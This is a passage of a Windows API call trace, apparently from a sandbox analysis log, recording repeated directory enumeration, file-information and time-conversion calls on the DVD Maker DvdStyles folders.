ftLastWriteTime.dwLowDateTime=0xab597c40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x549750 [0077.166] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0077.166] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0077.166] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0077.167] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0077.167] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0077.167] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0077.167] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0077.167] CloseHandle (hObject=0x190) returned 1 [0077.167] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0077.167] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0077.167] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0077.178] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0077.178] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0077.178] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0077.178] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0077.179] CloseHandle (hObject=0x190) returned 1 [0077.185] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab5e3f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab5e3f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0077.187] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0077.187] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0077.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0077.187] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0077.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0077.187] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0077.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0077.187] CloseHandle (hObject=0x198) returned 1 [0077.187] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0077.187] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0077.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0077.187] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0077.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0077.187] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0077.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0077.188] CloseHandle (hObject=0x198) returned 1 [0077.188] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0077.188] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0077.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0077.189] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0077.189] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0077.189] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0077.189] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0077.189] CloseHandle (hObject=0x198) returned 1 [0077.189] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0077.189] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0077.189] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0077.189] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0077.189] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0077.189] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0077.189] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0077.189] CloseHandle (hObject=0x198) returned 1 [0077.190] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0077.190] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0077.190] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0077.190] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0077.190] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0077.190] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0077.190] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0077.190] CloseHandle (hObject=0x198) returned 1 [0077.190] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0077.190] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0077.190] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0077.190] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0077.190] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0077.191] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0077.191] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0077.191] CloseHandle (hObject=0x198) returned 1 [0077.197] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab5e3f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab5e3f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.199] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.199] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.199] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.199] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.199] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.199] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.199] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.200] CloseHandle (hObject=0x174) returned 1 [0077.201] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.201] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.201] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.201] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.201] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.201] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.201] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.201] CloseHandle (hObject=0x174) returned 1 [0077.201] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.201] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.201] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.201] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.201] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.201] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.201] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.202] CloseHandle (hObject=0x174) returned 1 [0077.202] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.202] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.202] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.202] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.202] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.202] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.202] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.202] CloseHandle (hObject=0x174) returned 1 [0077.202] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.202] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.202] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.203] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.203] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.203] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.203] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.203] CloseHandle (hObject=0x174) returned 1 [0077.204] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.204] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.204] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.204] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.204] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.204] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.204] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.204] CloseHandle (hObject=0x174) returned 1 [0077.204] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.205] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.205] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.205] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.205] CloseHandle (hObject=0x174) returned 1 [0077.205] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.205] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.205] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.205] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.205] CloseHandle (hObject=0x174) returned 1 [0077.206] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.206] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.206] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.206] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.206] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.206] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.206] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.206] CloseHandle (hObject=0x174) returned 1 [0077.207] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.207] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.207] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.207] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.207] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.207] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.207] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.207] CloseHandle (hObject=0x174) returned 1 [0077.208] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.208] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.208] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.208] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.208] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.208] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.208] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.208] CloseHandle (hObject=0x174) returned 1 [0077.208] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.208] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.208] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.208] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.208] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.208] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.208] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.209] CloseHandle (hObject=0x174) returned 1 [0077.209] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.209] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.209] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.209] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.209] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.209] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.209] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.209] CloseHandle (hObject=0x174) returned 1 [0077.210] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.210] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.210] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.210] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.210] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.210] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.210] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.210] CloseHandle (hObject=0x174) returned 1 [0077.211] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.211] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.211] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, 